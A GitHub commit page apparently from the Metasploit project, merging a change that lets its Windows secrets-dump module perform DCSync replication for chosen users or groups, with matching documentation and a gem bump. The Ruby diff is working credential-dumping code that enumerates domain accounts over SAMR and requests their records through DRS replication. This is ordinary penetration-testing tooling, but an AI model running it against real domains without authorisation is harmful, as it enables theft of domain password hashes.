Skip to content

Commit

Permalink
Merge pull request #19643 from smashery/dcsync_individual
Browse files Browse the repository at this point in the history
DCsync individual accounts and groups
  • Loading branch information
smcintyre-r7 authored Nov 18, 2024
2 parents acc9940 + 20b8fc6 commit dd7e178
Show file tree
Hide file tree
Showing 3 changed files with 98 additions and 29 deletions.
4 changes: 2 additions & 2 deletions Gemfile.lock
Original file line number Diff line number Diff line change
Expand Up @@ -499,11 +499,11 @@ GEM
ruby-progressbar (1.13.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.3.10)
ruby_smb (3.3.11)
bindata (= 2.4.15)
openssl-ccm
openssl-cmac
rubyntlm
rubyntlm (>= 0.6.5)
windows_error (>= 0.1.4)
rubyntlm (0.6.5)
base64
Expand Down
14 changes: 13 additions & 1 deletion documentation/modules/auxiliary/gather/windows_secrets_dump.md
Original file line number Diff line number Diff line change
Expand Up @@ -27,7 +27,7 @@ Solino.
### Setup
A privileged user is required to run this module, typically a local or domain
Administrator. It has been tested against multiple Windows versions, from
Windows XP/Server 2003 to Windows 10/Server version 2004.
Windows XP/Server 2003 to Windows 10/Server version 2022.

## Verification Steps
1. Start msfconsole
Expand All @@ -53,6 +53,18 @@ Windows XP/Server 2003 to Windows 10/Server version 2004.
Use inline technique to read protected keys from the registry remotely without
saving the hives to disk (default: true).

### KRB_USERS
Restrict retrieving domain information to the users or groups specified. This
is a comma-separated list of Active Directory groups and users. This parameter
is only utilised for domain replication (`action` set to `DOMAIN` or `ALL`).
`set KRB_USERS "user1,user2,Domain Admins"

### KRB_TYPES
Restrict retrieving domain information to a specific type of account; either
`USERS_ONLY` or `COMPUTERS_ONLY`, or `ALL` to retrieve all accounts. This
parameter is only utilised for domain replication (`action` set to `DOMAIN` or
`ALL`). It is ignored if `KRB_USERS` is also set.

## Actions

### ALL
Expand Down
109 changes: 83 additions & 26 deletions modules/auxiliary/gather/windows_secrets_dump.rb
Original file line number Diff line number Diff line change
Expand Up @@ -63,7 +63,8 @@ module will fallback to the original implementation, which consists
'Author' => [
'Alberto Solino', # Original Impacket code
'Christophe De La Fuente', # MSF module
'antuache' # Inline technique
'antuache', # Inline technique
'smashery' # Querying subset of domain accounts
],
'References' => [
['URL', 'https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py'],
Expand Down Expand Up @@ -91,7 +92,9 @@ module will fallback to the original implementation, which consists
'INLINE',
[ true, 'Use inline technique to read protected keys from the registry remotely without saving the hives to disk', true ],
conditions: ['ACTION', 'in', %w[ALL SAM CACHE LSA]]
)
),
OptEnum.new('KRB_TYPES', [true, 'Which type of accounts to retrieve kerberos details for', 'ALL', ['ALL', 'USERS_ONLY', 'COMPUTERS_ONLY']], conditions: ['ACTION', 'in', %w[ALL DOMAIN]]),
OptString.new('KRB_USERS', [false, 'Comma-separated list of user accounts or groups to retrieve kerberos details for', ''], conditions: ['ACTION', 'in', %w[ALL DOMAIN]])
]
)

Expand Down Expand Up @@ -609,7 +612,15 @@ def connect_samr(domain_name)
end

def get_domain_users
users = @samr.samr_enumerate_users_in_domain(domain_handle: @domain_handle)
user_uac = RubySMB::Dcerpc::Samr::USER_NORMAL_ACCOUNT
computer_uac = RubySMB::Dcerpc::Samr::USER_WORKSTATION_TRUST_ACCOUNT | RubySMB::Dcerpc::Samr::USER_SERVER_TRUST_ACCOUNT | RubySMB::Dcerpc::Samr::USER_INTERDOMAIN_TRUST_ACCOUNT
all_uac = user_uac | computer_uac
uac = {
'ALL' => all_uac,
'USERS_ONLY' => user_uac,
'COMPUTERS_ONLY' => computer_uac
}[datastore['KRB_TYPES']]
users = @samr.samr_enumerate_users_in_domain(domain_handle: @domain_handle, user_account_control: uac)
vprint_status("Obtained #{users.length} domain users, fetching the SID for each...")
progress_interval = 250
nb_digits = (Math.log10(users.length) + 1).floor
Expand Down Expand Up @@ -830,6 +841,40 @@ def parse_user_record(dcerpc_client, user_record)
result
end

def get_domain_users_by_name(names)
details = @samr.samr_lookup_names_in_domain(
domain_handle: @domain_handle,
names: names
)
raise Msf::Exploit::Remote::MsSamr::MsSamrNotFoundError, 'One or more of the provided names was not found.' if details.nil?

result = []
names.each do |name|
user_details = details[name]
case user_details[:use]
when 1 # SidTypeUser
sid = @samr.samr_rid_to_sid(
object_handle: @domain_handle,
rid: user_details[:rid]
).to_s
result.append([sid, name])
when 2 # SidTypeGroup
handle = @samr.samr_open_group(domain_handle: @domain_handle, group_id: user_details[:rid])
results = @samr.samr_get_members_in_group(group_handle: handle)
results.each do |entry|
member_rid = entry[0]
sid = @samr.samr_rid_to_sid(
object_handle: @domain_handle,
rid: member_rid
).to_s
result.append([sid, ''])
end
end
end

result
end

def dump_ntds_hashes
_machine_name, domain_name, dns_domain_name = get_machine_name_and_domain_info
return unless domain_name
Expand All @@ -846,7 +891,19 @@ def dump_ntds_hashes
)
return
end
users = get_domain_users
specific_users = datastore['KRB_USERS'].strip.split(',').map(&:strip)

if specific_users.empty?
users = get_domain_users
else
if datastore['KRB_TYPES'] != 'ALL'
print_warning("Searching for specific users/groups; KRB_TYPES setting (#{datastore['KRB_TYPES']}) will be ignored")
end

users = get_domain_users_by_name(specific_users)
end

sids = Set.new(users.map { |sid_and_user| sid_and_user[0] })

dcerpc_client = connect_drs
unless dcerpc_client
Expand All @@ -859,29 +916,27 @@ def dump_ntds_hashes
ph_drs = dcerpc_client.drs_bind
dc_infos = dcerpc_client.drs_domain_controller_info(ph_drs, domain_name)
user_info = {}
dc_infos.each do |dc_info|
users.each do |user|
sid = user[0]
crack_names = dcerpc_client.drs_crack_names(ph_drs, rp_names: [sid])
crack_names.each do |crack_name|
user_record = dcerpc_client.drs_get_nc_changes(
ph_drs,
nc_guid: crack_name.p_name.to_s.encode('utf-8'),
dsa_object_guid: dc_info.ntds_dsa_object_guid
)
user_info[sid] = parse_user_record(dcerpc_client, user_record)
end
dc_info = dc_infos[0]
sids.each do |sid|
crack_names = dcerpc_client.drs_crack_names(ph_drs, rp_names: [sid])
crack_names.each do |crack_name|
user_record = dcerpc_client.drs_get_nc_changes(
ph_drs,
nc_guid: crack_name.p_name.to_s.encode('utf-8'),
dsa_object_guid: dc_info.ntds_dsa_object_guid
)
user_info[sid] = parse_user_record(dcerpc_client, user_record)
end

groups = get_user_groups(sid)
groups.each do |group|
case group.name
when 'BUILTIN\\Administrators'
user_info[sid][:admin] = true
when '(domain)\\Domain Admins'
user_info[sid][:domain_admin] = true
when '(domain)\\Enterprise Admins'
user_info[sid][:enterprise_admin] = true
end
groups = get_user_groups(sid)
groups.each do |group|
case group.name
when 'BUILTIN\\Administrators'
user_info[sid][:admin] = true
when '(domain)\\Domain Admins'
user_info[sid][:domain_admin] = true
when '(domain)\\Enterprise Admins'
user_info[sid][:enterprise_admin] = true
end
end
end
Expand Down Expand Up @@ -1219,6 +1274,8 @@ def run
fail_with(Module::Failure::UnexpectedReply, "[#{e.class}] #{e}")
rescue Rex::ConnectionError => e
fail_with(Module::Failure::Unreachable, "[#{e.class}] #{e}")
rescue Msf::Exploit::Remote::MsSamr::MsSamrError => e
fail_with(Module::Failure::BadConfig, "[#{e.class}] #{e}")
rescue ::StandardError => e
do_cleanup
raise e
Expand Down

0 comments on commit dd7e178

Please sign in to comment.